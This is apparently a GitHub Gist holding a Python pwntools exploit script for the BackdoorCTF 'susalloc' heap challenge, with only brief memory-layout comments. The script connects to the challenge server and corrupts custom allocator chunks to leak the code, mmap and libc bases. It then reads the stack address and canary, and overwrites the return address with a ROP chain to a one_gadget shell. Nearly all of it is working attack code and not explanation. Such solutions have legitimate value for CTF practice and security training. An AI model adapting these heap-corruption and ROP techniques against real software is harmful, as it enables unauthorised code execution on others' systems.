-
-
Save EricTsengTy/91597bdbeb27b19cfe34a4d7279e110c to your computer and use it in GitHub Desktop.
Exploit for BackdoorCTF/susalloc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
''' | |
## Some variables | |
0x10018: | |
0x102e0: item[29] (item's pointer) | |
0x10380: item counts | |
0x103a0: | |
0x10400: custom_fast_bin | |
0x104f0: custom_unsorted_bin | |
0x10500: custom_heap_header | |
## Chunk format | |
0x0: prev size | |
0x8: next size | |
0x10: size | |
0x18: inuse | |
0x20: prev chunk ptr | |
0x28: next chunk ptr | |
0x30: data | |
## Heap header format | |
0x0: base address | |
0x8: current allocated size | |
''' | |
context.arch = 'amd64' | |
context.terminal = ['tmux', 'splitw', '-h'] | |
# Code offset | |
cout_offset = 0x10080 | |
stdin_offset = 0x10050 | |
# Libc gadget | |
pop_r13_r14_r15_ret = 0xef194 | |
one_gadget = 0xe3afe | |
# Libc offset | |
environ_offset = 0x1ef600 | |
def add(r, size): | |
r.sendlineafter(b'Set Value\n', b'1') | |
r.sendlineafter(b'size: ', str(size).encode()) | |
def delete(r, index): | |
r.sendlineafter(b'Set Value\n', b'2') | |
r.sendlineafter(b'index: ', str(index).encode()) | |
def edit(r, index, data): | |
r.sendlineafter(b'Set Value\n', b'3') | |
r.sendlineafter(b'index: ', str(index).encode()) | |
r.send(data) | |
def read(r, index): | |
r.sendlineafter(b'Set Value\n', b'4') | |
r.sendlineafter(b'index: ', str(index).encode()) | |
def setValue(r, index, offset, value): | |
r.sendlineafter(b'Set Value\n', b'5') | |
r.sendlineafter(b'index: ', str(index).encode()) | |
r.sendlineafter(b'offset: ', str(offset).encode()) | |
r.sendlineafter(b'value: ', str(value).encode()) | |
# Connect to server | |
# r = process('./main', env={'LD_LIBRARY_PATH': '.'}) | |
r = remote('hack.backdoor.infoseciitr.in', 10004) | |
# Leak code base | |
add(r, 0x10) | |
add(r, 0x200) | |
delete(r, 1) | |
setValue(r, 0, -0x20 + 3, 0x10) | |
edit(r, 0, b'a' * 0x30) | |
read(r, 0) | |
r.recvuntil(b'a' * 0x30) | |
code_base = u64(r.recv(6) + b'\0\0') - 0x104f0 | |
success(f'code base -> {hex(code_base)}') | |
# Write back to normal data | |
edit(r, 0, b'a' * 0x10 + flat( | |
0, 0, 0x230, 0, # chunk 1 header | |
)) | |
# Leak mmap base (custom heap base) | |
add(r, 0x210) | |
delete(r, 2) | |
edit(r, 0, b'a' * 0x10 + b'a' * 0x2a) | |
read(r, 0) | |
r.recvuntil(b'a' * 0x10 + b'a' * 0x2a) | |
recv_byte = r.recvline()[0] | |
mmap_base = 0x1000000 if recv_byte == ord('\n') else \ | |
recv_byte << 16 if recv_byte >= 0x50 else (recv_byte << 16) | 0x1000000 | |
success(f'mmap base -> {hex(mmap_base)}') | |
if mmap_base >= 0x1000000: | |
# Still solvable but I'm lazy | |
info('Give up!') | |
exit() | |
# Make the 6th chunk points to &items[6] | |
edit(r, 0, b'a' * 0x10 + flat( | |
0, 0, 0, 2, 0, 0, # chunk 1 header | |
b'a' * 0x200, # chunk 1 data | |
0, 0, 0, 2, 0, 0, | |
b'b' * 0x210, | |
)) | |
add(r, 0x70) | |
add(r, 0x70) | |
add(r, 0x70) | |
delete(r, 3) | |
edit(r, 0, b'a' * 0x10 + flat( | |
0, 0, 0, 2, 0, 0, # chunk 1 header | |
b'a' * 0x200, # chunk 1 data | |
0, 0, 0, 2, 0, 0, | |
b'b' * 0x210, | |
0, 0x40, 0x40, 0x2, 0x0, mmap_base + 0x550, | |
b'c' * 0x70, | |
0x40, 0x40, 0x40, 0x2, mmap_base + 0x4b0, code_base + 0x102e0, | |
)) | |
add(r, 0x70) | |
add(r, 0x20) | |
# Arbitrary read and write!!! | |
# Leak libc base | |
edit(r, 6, flat( | |
code_base + 0x102e0 + 0x30, # == &items[6] | |
code_base + stdin_offset, | |
)) | |
read(r, 7) | |
libc_base = u64(r.recv(6) + b'\0\0') - 0x1ec980 | |
success(f'libc base -> {hex(libc_base)}') | |
# Leak main rsp | |
edit(r, 6, flat( | |
code_base + 0x102e0 + 0x30, | |
libc_base + environ_offset, | |
)) | |
read(r, 7) | |
main_rsp = u64(r.recv(6) + b'\0\0') | |
success(f'main rsp -> {hex(main_rsp)}') | |
# Leak canary (useless) | |
edit(r, 6, flat( | |
code_base + 0x102e0 + 0x30, | |
main_rsp - 0x120 + 1, | |
)) | |
read(r, 7) | |
canary = u64(b'\0' + r.recv(7)) | |
success(f'canary -> {hex(canary)}') | |
edit(r, 6, flat( | |
code_base + 0x102e0 + 0x30, | |
main_rsp - 0x140, | |
)) | |
edit(r, 7, b'a' * 8 + p64(0) + flat( | |
libc_base + pop_r13_r14_r15_ret, | |
0, 0, 0, | |
libc_base + one_gadget, | |
)) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment